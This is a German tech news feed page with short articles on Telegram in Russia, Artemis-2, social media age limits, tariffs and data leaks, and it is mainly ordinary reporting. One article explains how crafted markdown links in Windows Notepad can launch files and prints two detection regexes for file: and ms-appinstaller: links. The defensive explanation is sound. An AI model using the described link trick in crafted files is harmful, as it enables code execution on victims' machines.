c’t Daten schützen: Jetzt im heise Shop erhältlich

Werbeblocker: Browser-Add-ons vs. Pi-hole & Co. | c’t uplink

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Immer mehr Druck auf Telegram: Messenger angeblich Risiko für russische Truppen

2026-02-23T07:57:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Dass der Kreml Telegram am liebsten sperren würde, ist kein Geheimnis, die Kritik an dem Plan ist laut. Jetzt schaltet sich der Inlandsgeheimdienst FSB ein.

(Bild: Viacheslav Lopatin/Shutterstock.com)

23.02.2026, 07:57 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Russland hat den Druck auf den beliebten Telegram-Messenger weiter erhöht, am Wochenende hat der Inlandsgeheimdienst FSB gewarnt, dass die Ukraine darüber Informationen über den Standort russischer Truppen erhalten könnte. Das berichtet die staatliche Nachrichtenagentur TASS unter Berufung auf einen Sprecher des KGB-Nachfolgers. Man habe „zuverlässige Informationen, dass die Streitkräfte der Ukraine sowie die Spezialeinheiten auf Telegram geteilte Inhalte sehr schnell empfangen und für militärische Zwecke verwenden können“, heißt es da. Die Verwendung von Telegram durch die russische Armee gefährde deshalb das Leben von Soldaten. Diese Behauptung dürfte jetzt auch dafür gedacht sein, den Boden für eine Sperrung von Telegram zu bereiten.

Telegram bald gesperrt?

Die Kampagne gegen Telegram ist Teil einer Blockadewelle gegen Internetdienste, mit denen der Kreml die Menschen im Land dazu drängen will, auf Angebote umzusteigen, die aus Russland stammen und damit leichter kontrolliert werden können. In dem Zug war vor anderthalb Wochen auch der Zugriff auf WhatsApp komplett unterbunden worden. Der Messenger des Facebook-Konzerns Meta hat danach versichert, alles tun zu wollen, damit die Menschen weiter über den Messenger kommunizieren können. Telegram ist aber ein ganz anderes Kaliber, der Dienst ist in Russland enorm beliebt und wird auch von Medien und Unternehmen für die Kommunikation genutzt. Nach der Abschaltung von Starlink ist er auch für die Koordinierung an der Front in der Ukraine noch wichtiger geworden.

Videos by heise

Der Kreml drängt die Menschen im Land seit Monaten dazu, auf MAX umzusteigen, einen vom russischen Staat geförderten Messenger. Der muss schon seit dem Sommer auf allen verkauften Smartphones und Tablets vorinstalliert sein. Laut Bloomberg haben mehrere der einflussreichen Militärblogger zuletzt davor gewarnt, dass eine Sperrung von Telegram dafür sorgen könnte, dass russischen Truppen in der Ukraine die letzte Kommunikationsmöglichkeit genommen wird. Trotzdem arbeitet die Führung augenscheinlich darauf hin. Erst vor wenigen Tagen hat die Telekommunikationsaufsicht Roskomnadzor Telegram vorgeworfen, Infrastruktur zu unterhalten, über die systematisch personenbezogene Daten abgegriffen würden.

Lesen Sie auch

Nach Drohung gegen WhatsApp: Roblox, FaceTime und Snapchat in Russland blockiert

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Bemannte Mondmission der NASA: Artemis-2 wird auch im März nicht mehr starten

2026-02-23T06:52:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Auch die zweite Generalprobe für die Betankung der Mondrakete der Mission Artemis-2 lief nicht einwandfrei. Deshalb muss die jetzt zurück ins Montagegebäude.

Die SLS auf der Startrampe

(Bild: NASA)

23.02.2026, 06:52 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Nach einem Problem bei der zweiten Generalprobe für den ersten Start einer bemannten Mondrakete seit mehr als 50 Jahren wird die nun auch nicht mehr im März abheben. Je nachdem, wie schnell sie zurück in das riesige Vehicle Assembly Building gerollt und dort die Ursache des Problems gefunden wird, könnte aber noch im April ein Start versucht werden. Das hat die NASA mitgeteilt und für weitere Einzelheiten eine Pressekonferenz im Verlauf der Woche angekündigt. NASA-Chef Jared Isaacman hat eingestanden, dass das enttäuschend ist. Auf dem Kurznachrichtendienst X hat er aber daran erinnert, dass auch das Apollo-Programm durch zahlreiche Rückschläge gekennzeichnet war. Trotzdem habe die US-Weltraumagentur damals erreicht, „was für unmöglich gehalten wurde“.

Weiterer Zeitplan unklar

Die zweite Generalprobe für die Betankung der Rakete für die Mission Artemis-2 ist am Donnerstag beendet worden. Dabei war es nicht gelungen, die Oberstufe ordnungsgemäß mit Helium zu betanken. Laut Isaacman war das Problem schon bei Artemis-1 aufgetreten. Es gibt verschiedene Stellen, an denen die Ursache liegen könnte, nach der muss nun im Montagegebäude gesucht werden. Deshalb soll die Rakete schnellstmöglich dorthin zurückgerollt werden, die Crew darf die Quarantäne verlassen. Für das Zurückrollen muss aber das Wetter passen, am Wochenende war der Wind dafür zu stark. Wie es danach weitergeht, ist noch unklar. Anfang April könnte die Rakete an mehreren Tagen gestartet werden, das gegenwärtig letzte Startfenster öffnet sich dann am 30. April.

Videos by heise

Mit Artemis-2 will die NASA wieder Menschen zum Mond fliegen, der soll aber nur umrundet werden. Geplant war der Start zuerst für den 6. Februar, das konnte aber schon nicht eingehalten werden. Die Crew besteht aus Reid Wiseman, Victor Glover und Christina Koch von der NASA sowie dem Kanadier Jeremy Hansen. Auf ihrem zehntägigen Flug sollen sie zuerst die Erde umrunden und dann in Richtung des Erdtrabanten beschleunigen. Für den Flug dorthin sind danach vier Tage veranschlagt. Wenn alles klappt, sollen dann auf der Nachfolgemission Artemis-3 Menschen die Oberfläche des Monds erreichen – geplant ist das gegenwärtig für 2028. Bei der ersten Mission des ambitionierten Artemis-Programms ist im Herbst 2022 eine unbemannte Kapsel um den Mond geflogen.

Lesen Sie auch

Kehrtwende von Elon Musk: SpaceX soll jetzt doch erst zum Mond – später zum Mars

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

CDU beschließt Social-Media-Verbot für Kinder, aber keine Klarnamenpflicht

2026-02-21T14:23:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Auf ihrem Parteitag in Stuttgart hat die CDU beschlossen, dass Jugendliche erst ab 14 Social Media nutzen können. Die Klarnamenpflicht ist vorerst vom Tisch.

229

(Bild: penofoto/Shutterstock.com)

21.02.2026, 14:23 Uhr

Lesezeit: 2 Min.

Von

Nico Ernst

Am Samstagmittag hat die CDU auf ihrem Bundesparteitag in Stuttgart beschlossen, dass die Bundesregierung ein generelles Social-Media-Verbot für Menschen unter 14 Jahren auf den Weg bringen soll. Die Delegierten sprachen sich für einen geänderten Vorschlag aus. Zuvor gab es einen Antrag vom Landesverband Schleswig-Holstein, der ein Mindestalter von 16 Jahren vorsah.

Eine öffentliche Diskussion auf dem Parteitag gab es nicht, offenbar waren die Positionen schon im Vorfeld und am gestrigen Abend festgelegt worden. Die ebenfalls vor dem Parteitreffen von Bundeskanzler Friedrich Merz angestoßene Debatte über eine Klarnamenpflicht fruchtete nicht, diese wurde nicht Teil des Beschlusses. Das Thema Klarnamenpflicht soll laut der „Bild“ nun an die Fraktion übergeben werden.

„Digitales Erwachsenwerden“

Wie die Süddeutsche Zeitung aus dem angenommenen Antrag zitiert, ist die Bundesregierung nun aufgefordert, „eine gesetzliche Altersgrenze von 14 Jahren für die Nutzung sozialer Netzwerke einzuführen und das besondere Schutzbedürfnis bis zum 16. Lebensjahr im digitalen Raum auszugestalten“. Für Nutzer zwischen 14 und 15 Jahren sollen die Plattformen gesonderte Jugendversionen ihrer Dienste anbieten. Zugleich soll im Schulunterricht Medienkompetenz laut CDU „verbindlich gestärkt“ werden. Der gesamte Vorstoß läuft dem Antrag zufolge unter dem Motto „verantwortungsvolles digitales Erwachsenwerden“.

Videos by heise

Damit ist der Weg frei für neue Gesetze. Die SPD hatte ihre zuvor ablehnende Haltung geändert. Zuerst sprach sich Parteichef und Vizekanzler Lars Klingbeil am vergangenen Wochenende für eine entsprechende Regulierung aus, später formulierte die Partei ein Impulspapier. Darin ist auch die Altersverifikation per EUDI-Wallet vorgesehen.

Wie nun von der CDU beschlossen, sieht auch das Papier der SPD eine Abstufung vor: Bis 14 Jahre soll Kindern die Nutzung von sozialen Netzwerken generell verboten werden, von 14 bis 16 Jahren sollen sie nur Jugendversionen nutzen können, und ab 16 Jahren dann uneingeschränkten Zugriff erhalten.

Lesen Sie auch

Love-Scam: Liebesbetrug-Masche wegen KI immer erfolgreicher

Freitag: Meta streicht Messenger-Plattform, Robotaxis in New York ausgebremst

Meta stellt eigene Messenger-Webseite ein, verweist auf Facebook und Mobil-App

Bonus für Benehmen: Wie Badges das Internet demokratischer machen könnten

Elon Musks Meinungsmaschine: X-Algorithmus beeinflusst politische Einstellungen

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Experten warnen: Klarnamenpflicht gefährdet Demokratie und trifft die Falschen

2026-02-20T17:46:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Der Kanzler fordert das „offene Visier“. Doch Fachleute und Opposition sehen darin einen gefährlichen Populismus, der die Ursachen von Hass im Netz ignoriert.

110

(Bild: EUS-Nachrichten/Shutterstock.com)

20.02.2026, 17:46 Uhr

Lesezeit: 5 Min.

Von

Stefan Krempl

Ein Vorstoß aus der Regierungszentrale könnte die Grundfesten der anonymen Kommunikation erschüttern. Bundeskanzler Friedrich Merz (CDU) drängt mit Nachdruck auf eine Klarnamenpflicht im Internet. Wer sich kritisch mit der Gesellschaft oder dem Land auseinandersetze, solle dies unter seiner echten Identität tun, argumentiert er. Das Ziel scheint klar: eine Rückkehr zum Anstand durch die Aufhebung der digitalen Maskerade. Doch was in der Theorie nach einer einfachen Lösung gegen Hass und Hetze klingt, entpuppt sich bei genauerer Betrachtung als digitalpolitisches Minenfeld. Dieses könnte Kennern zufolge eher die Demokratie gefährden, als sie zu schützen.

Fachleute und Bürgerrechtler schlagen Alarm. Der IT-Sicherheitsberater Manuel Atug hält die Forderung nicht nur für populistisch, sondern sogar für gefährlich. Gegenüber dem WDR betonte er, dass das Grundgesetz das Recht auf anonyme Äußerungen schütze. Dabei handle es sich um einen Eckpfeiler, der in einer funktionierenden demokratischen Gesellschaft unverzichtbar sei. Eine Klarnamenpflicht würde dieses Recht für die breite Zivilgesellschaft faktisch aushebeln, ohne dabei die eigentlichen Zielgruppen zu treffen.

„Gleichzeitig würden Kriminelle immer einen Weg finden, in der Anonymität zu bleiben“, gibt Atug zu bedenken. „Denn sie halten sich ja schlicht nicht an Gesetze und damit interessiert die auch eine Klarnamenpflicht nicht.“

Die technische Realisierbarkeit steht ohnehin auf tönernen Füßen. Gegner einer Ausweispflicht fürs Netz ziehen Vergleiche zu autoritären Systemen. Um eine solche Auflage flächendeckend und manipulationssicher durchzusetzen, müsste eine Überwachungsstruktur entstehen, wie sie sonst nur aus China bekannt sei. Statt symbolischer Politik fordern Experten wie Atug eine Stärkung der Ermittlungsbehörden. Diese müssten befähigt werden, bestehende Befugnisse effektiv anzuwenden. Denn ein Paradox der aktuellen Situation ist: Viele Straftaten im Netz finden bereits heute unter Klarnamen statt, werden aber mangels Ressourcen oder technischer Expertise der Behörden kaum geahndet.

Algorithmen als wahre Brandstifter

Wissenschaftliche Untersuchungen stützen die Skepsis gegenüber dem Merz-Plan. Studien belegen immer wieder, dass Anonymität nicht Haupttreiber für Aggression im Netz ist. Eine Schweizer Studie zeigt etwa, dass ein winziger Bruchteil von nur fünf Prozent der Nutzer für satte 78 Prozent der Hasskommentare verantwortlich ist. Noch deutlichere Ergebnisse brachte eine Analyse von Twitter (jetzt X) schon 2021: Hier waren 99 Prozent der Verfasser von Hassbotschaften bereits identifizierbar.

Eine Klarnamenpflicht würde diese „Hater“ also kaum bremsen, dafür aber die große Mehrheit der friedlichen Nutzer massiven Risiken aussetzen. Besonders Frauen und marginalisierte Gruppen, die ohnehin schon Zielscheibe von digitaler Gewalt sind, müssten bei einer Entanonymisierung um ihre physische Sicherheit fürchten.

Die Ursache für die Verrohung liegt tiefer, nämlich im Maschinenraum der großen Plattformen. Die Empfehlungsalgorithmen von Netzwerken wie X, Facebook oder TikTok belohnen Emotionalisierung und Hass, da diese Interaktion und damit Werbeeinnahmen generieren. Die EU-Abgeordnete Alexandra Geese (Grüne) verlangt daher eine europäische Antwort statt nationaler Alleingänge. Sie appelliert an Merz, sich gemeinsam mit Frankreich und Spanien für eine konsequente Durchsetzung des Digital Services Act (DSA) einzusetzen. Europa müsse die Betreiber dazu bringen, „toxische Algorithmen zu reformieren“.

Videos by heise

Alternative Lösungswege

Innerhalb der politischen Landschaft ist das Echo geteilt. CSU-Politiker wie Markus Söder und Teile der Freien Wähler wie der bayerische Digitalminister Fabian Mehring sehen im Klarnamen die einzige Waffe gegen Troll-Fabriken und KI-gesteuerte Desinformation.

Beim Koalitionspartner im Bund, der SPD, und in der Opposition regt sich dagegen Widerstand. Johannes Schätzl, digitalpolitischer Sprecher der SPD-Fraktion, verweist auf den Schutzraum der Anonymität. Der sei etwa für Whistleblower oder Menschen in persönlichen Krisensituationen lebensnotwendig. Auch Bundesjustizministerin Stefanie Hubig (SPD) plädiert dafür, dass Anonymität im Netz grundsätzlich möglich bleiben muss. Die Sozialdemokraten bauen auf die EUDI-Wallet. Diese soll es ab 2027 ermöglichen, sich gegenüber Plattformen als „echte Person“ auszuweisen, ohne die gesamte Identität für jedermann sichtbar offenzulegen.

Besonders scharfe Kritik kommt von Donata Vogtschmidt, Obfrau im Digitalausschuss des Bundestags für die Linksfraktion. Sie wirft dem Kanzler eine „unsachliche und von der Faktenlage entfernte“ Position vor. Eine Klarnamenpflicht würde ihr zufolge staatliche Überwachung auf eine neue Stufe heben und autoritären Kräften gefährliche Instrumente in die Hand geben.

„Ich hätte einen solchen Vorschlag aus dem Iran, Russland oder China erwartet“, wundert sich Vogtschmidt. „Dass er von unserem Bundeskanzler kommt, zeigt das Fingerspitzengefühl einer Abrissbirne.“ Das erneute Hochkochen der uralten Debatte spricht dafür, dass der Wunsch nach mehr Zivilität im Netz konsensfähig ist. Die Abschaffung der Anonymität trifft laut Beobachtern aber die Falschen. Die Plattformbetreiber und ihre Algorithmen würden damit weitgehend aus der Verantwortung entlassen.

(mki)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Illegale Zölle: US-Gerichtshof stoppt Trumps Handelspolitik

2026-02-20T17:23:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

US-Präsident Trump hat bei den weltweiten Zöllen seine Befugnisse überschritten. Zu dem Ergebnis kommt der Oberste Gerichtshof der USA.

297

Donald Trump bei einem Besuch einer Schiffswerft in Wisconsin 2020

(Bild: Weißes Haus)

20.02.2026, 17:23 Uhr

Lesezeit: 2 Min.

Von

Mark Mantel

Die US-Regierung unter Präsident Donald Trump erleidet vor dem Obersten Gerichtshof der Vereinigten Staaten (Supreme Court of the United States, SCOTUS) eine Schlappe. Mit einem Stimmverhältnis von 6 zu 3 erklärten die obersten Richter des Landes die aktuelle Zollpolitik für illegal.

Der SCOTUS beschäftigte sich mit der Frage, ob die US-Regierung auf Basis eines Notstandsgesetzes von 1977 (International Emergency Economic Powers Act, IEEPA) Strafzölle verhängen darf. Das Gericht entschied mehrheitlich , dass dieses Gesetz keine Zölle vorsieht und Trump damit seine Befugnisse überschritten hat. Das Gesetz sehe Kontrollen und eine Steuerung durch Regeln vor, nicht aber Besteuerungen, argumentieren die Richter. Besteuerungen seien Aufgabe des US-Kongresses, den die US-Regierung mit dem Notstandgesetz komplett umgangen hat.

Die US-Regierung erklärte Anfang 2025 zwei nationale Notlagen und stützte darauf ihre Zollpolitik, später mit zusätzlichen Abgaben von teils über 100 Prozent. Zum einen führte Trump Drogenschmuggel aus Kanada, Mexiko und China an, zum anderen Handelsdefizite, die den USA schaden würden.

Videos by heise

Noch keine Frist für Zoll-Ende

Der SCOTUS selbst gibt keine Frist, bis wann die US-Regierung die illegalen Zölle aufheben muss. Das dürfte in den kommenden Wochen die Zoll- und Grenzschutzbehörde (Customs and Border Protection, CBP) übernehmen. Dann entscheidet sich auch, ob bereits geleistete Zölle zurückgezahlt werden müssen.

Die US-Regierung könnte andere Gesetze für Zölle verwenden, die allerdings deutlich strengere Rahmenbedingungen stellen. Dazu zählen begrenzte Höhen und abgesteckte Zeiträume. In seiner ersten Amtszeit (2017-2021) setzte Trump etwa den Trade Act von 1974 ein, der 15-prozentige Zölle für maximal 150 Tage erlaubt. Verlängerungen sind hier nur durch den Kongress möglich.

Mit einem Ende der aktuellen Zollpolitik könnte in den USA ein finanzielles Kartenhaus zusammenbrechen. Die Regierung nutzte das Notstandsgesetz etwa, um indirekt KI-Beschleuniger von AMD und Nvidia zu besteuern, die für China bestimmt sind. Der Umweg war bereits nötig, weil eine derartige offizielle Steuer illegal wäre. Hardware könnte in den USA insgesamt wieder günstiger werden.

(mma)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Adidas bezieht Stellung zu möglichem Datenleck bei externem Dienstleister

2026-02-20T12:20:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Cybergang Lapsus$ behauptet in einem Untergrundforum, Daten von Adidas bei einem externen Dienstleister kopiert zu haben.

Im Untergrundforum kündigt die Cybergang Lapsus$ den Datendiebstahl aus dem Extranet von Adidas an.

(Bild: heise medien)

12:20 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Angeblich gibt die kriminelle Online-Bande Lapsus$ in einem Untergrundforum an, einen Datensatz von Adidas im Extranet des Unternehmens kopiert zu haben. Der soll 815.000 Zeilen umfassen.

Laut dem Eintrag im Untergrundforum von der eigentlich nicht mehr eigenständig auftretenden Gruppierung Lapsus$, die zuletzt im Konglomerat „ShinyHunterLapsus“ auftrat, enthält die Datenbank Vornamen, Nachnamen, E-Mail, Passwort, Geburtstag und „eine Menge technische Daten“. Zudem deuten die Täter weitere entfleuchte Daten größeren Umfangs an: „Something bigger is coming, just wait. You will like it.“ schreiben sie dort. Auf Deutsch: „Etwas Größeres kommt, wartet ab. Ihr werdet es mögen“. Der Eintrag der Cyberkriminellen datiert auf den 16. Februar 2026. Mehr Details gibt es bislang nicht.

Auf Anfrage von heise online erklärte Adidas: „Wir wurden auf einen möglichen Datenschutzvorfall bei einem unabhängigen Lizenznehmer und Vertriebspartner für Kampfsportprodukte aufmerksam gemacht. Es handelt sich dabei um ein unabhängiges Unternehmen mit eigenen IT-Systemen. Wir haben keinerlei Hinweise darauf, dass die IT-Infrastruktur von adidas, unsere eigenen E-Commerce-Plattformen oder unsere Kundendaten von diesem Vorfall betroffen sind.“

Weitergehende Informationen bislang nicht verfügbar

Den Namen des betroffenen Vertriebspartners nennt Adidas hingegen nicht. Ebenso lässt der Hersteller im Dunkeln, welche Daten und in welchem Umfang sie potenziell betroffen sind, da der Lizenznehmer darauf Zugriff hat.

Videos by heise

Sollten tatsächlich die von der angeblichen Lapsus$-Gruppe entwendeten Daten Namen und E-Mails sowie den Kontext „Adidas“ umfassen, können Angreifer damit gezielteres Phishing starten. Bei vermeintlichen Nachrichten von Adidas sollten Empfänger daher besondere Vorsicht walten lassen.

Es handelt sich nicht um den ersten IT-Sicherheitsvorfall, der im Kontext des Sportartikelherstellers Adidas bekannt wird. Bereits im Mai vergangenen Jahres haben Kriminelle Daten von Adidas-Kunden abgegriffen. Der Umfang war auch damals unklar. Die Daten bestanden damals „im Wesentlichen aus Kontaktinformationen, die zu Kunden gehören, die unseren Kundendienst in der Vergangenheit kontaktiert haben“, erklärte das Unternehmen dort. Auch da kam es offenbar zum unbefugten Datenzugriff bei einem „beauftragten Kundendienstanbieter“.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

BSI-Warnung: Ivanti-EPMM-Lücke wird verbreitet missbraucht

2026-02-20T11:22:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Alert!

Das Bundesamt für Sicherheit in der Informationstechnik (BSI) und IT-Forscher warnen vor weit verbreiteten Angriffen auf Ivanti EPMM.

(Bild: Titima Ongkantong / Shutterstock.com)

11:22 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Ende Januar hat Ivanti kritische Schwachstellen in Endpoint Manager Mobile (EPMM) geschlossen. Angreifer können dadurch Schadcode einschleusen – und machen das bereits, erste Angriffe waren bereits bekannt. Nun warnt das Bundesamt für Sicherheit in der Informationstechnik (BSI) vor weit verbreiteten Angriffen auf die Lücken und empfiehlt den Einsatz eines Erkennungsskripts zum Aufspüren erfolgreicher Attacken. Auch die IT-Sicherheitsforscher von Palo Alto haben eine Warnung veröffentlicht und erläutern einige der beobachteten Missbrauchsversuche detaillierter.

Ivanti hält sich mit Details zu den Sicherheitslücken stark zurück, die IT-Forscher von Palo Alto Networks Unit42 liefern jedoch genauere Hinweise. Die eine Schwachstelle stammt von veralteten Bash-Skripten, die der mitgelieferte Apache-Web-Server für URL-Rewriting verwendet (CVE-2026-1281, CVSS 9.8, Risiko „kritisch“). Die zweite Lücke stammt ebenfalls von einem unsicheren Bash-Skript, betrifft jedoch den Android-Dateitransfer-Mechanismus von Ivanti (CVE-2026-1340, CVSS 9.8, Risiko „kritisch“).

Die Angreifer richten nach Missbrauch der Schwachstellen demnach Reverse Shells und Web Shells ein, forschen die Umgebung aus und laden weitere Malware nach. Angriffsziele sind laut Unit42 Staats- und lokale Regierungen, das Gesundheitswesen, Fertigung/Produktion, Rechtsanwaltskanzleien und der High-Tech-Sektor.

BSI verteilt Erkennungsskript

Das BSI hat ebenfalls vergangene Woche eine aktualisierte Warnung herausgegeben. Die Behörde liefert ebenfalls Hinweise auf (erfolgreiche) Angriffe (Indicators of Compromise, IOCs) und weist eindringlich auf ein Erkennungsskript hin, das Ivanti mit der niederländischen IT-Sicherheitsbehörde NCSC-NL veröffentlicht hat. Es handelt sich um Ivanti-Host-EPMM-Scan-v2-0S-2 sowie um Ivanti-Host-EPMM-Scan-v2-0L-2, beide am 12. Februar 2026 aktualisiert.

Videos by heise

Das BSI ordnet die Lücken und Angriffe darauf in die dritte Schweregrad-Kategorie „Orange“ ein. Für die Praxis übersetzt heißt das, „Maßnahmen müssen unverzüglich ergriffen werden. Massive Beeinträchtigung des Regelbetriebs möglich“. Das BSI hat Hinweise, dass die Schwachstellen mindestens seit Sommer 2025 angegriffen werden. Das sollten Admins bei ihren Untersuchungen berücksichtigen.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

KI-Rechenzentren: In den USA immer mehr Stromerzeugung ohne Anschluss ans Netz

2026-02-20T10:33:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

In den USA schießen KI-Rechenzentren aus dem Boden, der Strombedarf ist immens. Immer öfter soll der aus Gaskraft ohne Anschluss ans Stromnetz gedeckt werden.

Künstlerische Darstellung einer geplanten Anlage in Texas, rechts unten die Kraftwerke

(Bild: Pacifico Energy)

10:33 Uhr

Lesezeit: 3 Min.

Von

Martin Holland

Die großen Tech-Konzerne in den USA setzen beim Bau der KI-Infrastruktur zunehmend auf Energieerzeugung, die nicht an das Stromnetz angeschlossen ist – mit potenziell weitreichenden Folgen nicht nur für den Umwelt- und den Klimaschutz. Das berichtet die Washington Post und nennt eine ganze Reihe von Projekten, die unter anderem im Auftrag von Meta, OpenAI, Oracle und sogar des Ölkonzerns Chevron entstehen. Meist würden die dabei auf Gaskraftwerke setzen, weil sie als zuverlässiger gelten als Photovoltaik oder Windenergie. Weil die effizientesten Gasturbinen aber lange Lieferzeiten hätten, würden weniger umweltfreundliche eingesetzt. Gleichzeitig sei unklar, was passiere, wenn diese dann für die regelmäßig nötigen Wartungsarbeiten abgeschaltet werden müssen.

Lesen Sie auch

Das KI-Energie-Dilemma: Wenn der digitale Boom die Netze überlastet

US-Hyperscaler bekommen Gegenwind aus den Bundesstaaten

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Windows-Editor: Details zur Markdown-Sicherheitslücke

2026-02-20T09:02:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Patchday-Updates schließen eine Lücke im Windows-Editor, die das Einschleusen von Schadcode erlaubt. Nun gibt es Details zum Leck.

(Bild: heise medien)

09:02 Uhr

Lesezeit: 3 Min.

Security

Von

Dirk Knop

Im Editor von Windows hat Microsoft am Februar-Patchday mit den Windows-Updates eine Sicherheitslücke in der Markdown-Verarbeitung geschlossen. Angreifer können durch das Leck Schadcode einschleusen. Jetzt gibt es detailliertere Informationen von Trend Micros Zero-Day-Initiative (ZDI), die zudem Admins Hilfestellung in Form von Filterregeln zum Abwehren von Angriffen liefert.

Die Analyse der Befehlsschmuggel-Lücke im Windows-Editor haben die IT-Forscher im Blog der ZDI veröffentlicht. Sie erklären dort, dass die Sicherheitslücke im Windows-Editor (notepad.exe) beim Verarbeiten von Markdown-Dateien auftritt und auf unzureichender Filterung von Links beruht. Angreifer können die Schwachstelle missbrauchen, indem sie potenzielle Opfer dazu bringen, eine bösartig manipulierte Datei herunterzuladen, sie zu öffnen und auf einen präparierten Link darin zu klicken. Ein erfolgreicher Angriff kann zur Ausführung von beliebigen Befehlen im Kontext des Opfer-Kontos führen (CVE-2026-20841, CVSS 7.8, Risiko „hoch“). Noch gibt es jedoch keine Hinweise auf aktive Exploits.

Sicherheitslücke im Standard-Text-Editor

Die ZDI-Mitarbeiter führen aus, dass der Standard-Windows-Editor notepad.exe bis vor Kurzem lediglich rudimentäre Editierfähigkeiten umfasste. In modernen Windows-Versionen kommt jedoch eine verbesserte und erweiterte Version des Editors standardmäßig mit. Die neue Version unterstützt mehr Dateiformate, Markdown-Beschreibungen und Copilot-Funktionen. Markdown erlaubt die Formatierung von Texten und unter anderem das Einbetten von Links, etwa in der Form [link-name](link/path). Die Trend-Micro-Forscher stellen die Schwachstelle bei der Verarbeitung bis auf Code-Ebene in ihrer Analyse dar.

Bei der Verarbeitung von Markdown kann der Editor auf das Klicken von Links reagieren. Dabei filtert er die Link-Werte und reicht sie an den Systemaufruf ShellExecuteExW() weiter. Diese Filterung reicht jedoch nicht aus, sie erlaubt die Nutzung von Protokoll-URIs wie „file://“ oder „ms-appinstaller://“. Damit lassen sich beim Aufruf von ShellExecuteExW() beliebige Dateien starten, die im Kontext des Opfers laufen. Je nach Systemkonfiguration können weitere Protokoll-Handler derartig missbrauchbar sein.

Videos by heise

Angriffe erkennen und abwehren

Die IT-Forscher empfehlen daher, den Traffic auf bestimmten Ports genauer zu untersuchen und zu filtern: FTP (Port 20 und 21/TCP), HTTP (Port 80/TCP), HTTPS (Port 443/TCP), IMAP (Port 143/TCP), NFS (Ports 111/UDP+TCP, 2049/UDP+TCP), POP3 (Port 110/TCP), SMTP (Ports 25+587/TCP) sowie SMB/CIFS (Ports 139+445/TCP). Dabei sollte der Traffic nach Markdown-Dateien mit der Dateiendung .md untersucht werden. Bei Erkennung derartiger Dateien empfiehlt ZDI, den Inhalt auf Links mit Zeichenketten wie „file:“ oder „ms-appinstaller:“ zu durchforsten. Sind diese enthalten, stellen die IT-Forscher noch Regular Expressions bereit, mit denen sich Verweise auf Inhalte aus dem Netz aufspüren lassen: (\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4} für den file:-URI-Handler sowie (\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2} für den ms-appinstaller:-URI-Handler. Treffer mit diesen Regeln sollten als bösartig eingestuft werden.

Nicht nur der Windows-Editor ist von Schwachstellen betroffen. So hat der populäre Texteditor Notepad++ jüngst mit einem Sicherheitsupdate eine Codeschmuggel-Lücke geschlossen.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Gescheiterter Starliner-Flug von der NASA als besonders schwerwiegend eingestuft

2026-02-20T07:12:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die NASA hat den gescheiterten bemannten Starliner-Flug zur ISS als schwerwiegenden Zwischenfall eingestuft. Das entspricht der Columbia-Katastrophe.

Die Starliner-Kapsel an der ISS

(Bild: NASA)

07:12 Uhr

Lesezeit: 3 Min.

Von

Martin Holland

Der gescheiterte bemannte Flug von Boeings Starliner-Raumschiff zur ISS wurde von der NASA als einer der schwersten Zwischenfälle in der eigenen Geschichte eingestuft. Das hat die NASA jetzt publik gemacht und sich dabei ungewohnt selbstkritisch gezeigt. Zwar habe der US-Konzern das Raumschiff gebaut, aber die NASA habe es akzeptiert und damit zwei Menschen ins All geflogen, fasste NASA-Chef Jared Isaacman zusammen. Probleme habe es aber nicht nur mit der Technik gegeben, auch der Rückgriff auf zwei Hersteller habe sich auf operative Entscheidungen ausgewirkt, „insbesondere während und unmittelbar nach der Mission“. Diese Fehler werde man korrigieren, verspricht Isaacman.

Auf einer Stufe mit der Challenger-Katastrophe

Die NASA stuft den Vorfall „aufgrund des Verlusts der Manövrierfähigkeit des Raumschiffs beim Anflug der Besatzung auf die Raumstation und der damit verbundenen finanziellen Schäden“ offiziell als Zwischenfall vom Typ A ein. Das ist die höchste dafür vorhandene Kategorie, so wurden beispielsweise Apollo-1- sowie die Challenger- und die Columbia-Katastrophen eingestuft. Bei all diesen Unglücken kamen Menschen zu Tode, beim Starliner-Test nicht. „Obwohl es keine Verletzten gab und die Mission vor dem Andocken wieder unter Kontrolle gebracht wurde, bestätigt diese höchste Einstufung, dass das Potenzial für einen schwerwiegenden Zwischenfall bestand“, schreibt die NASA.

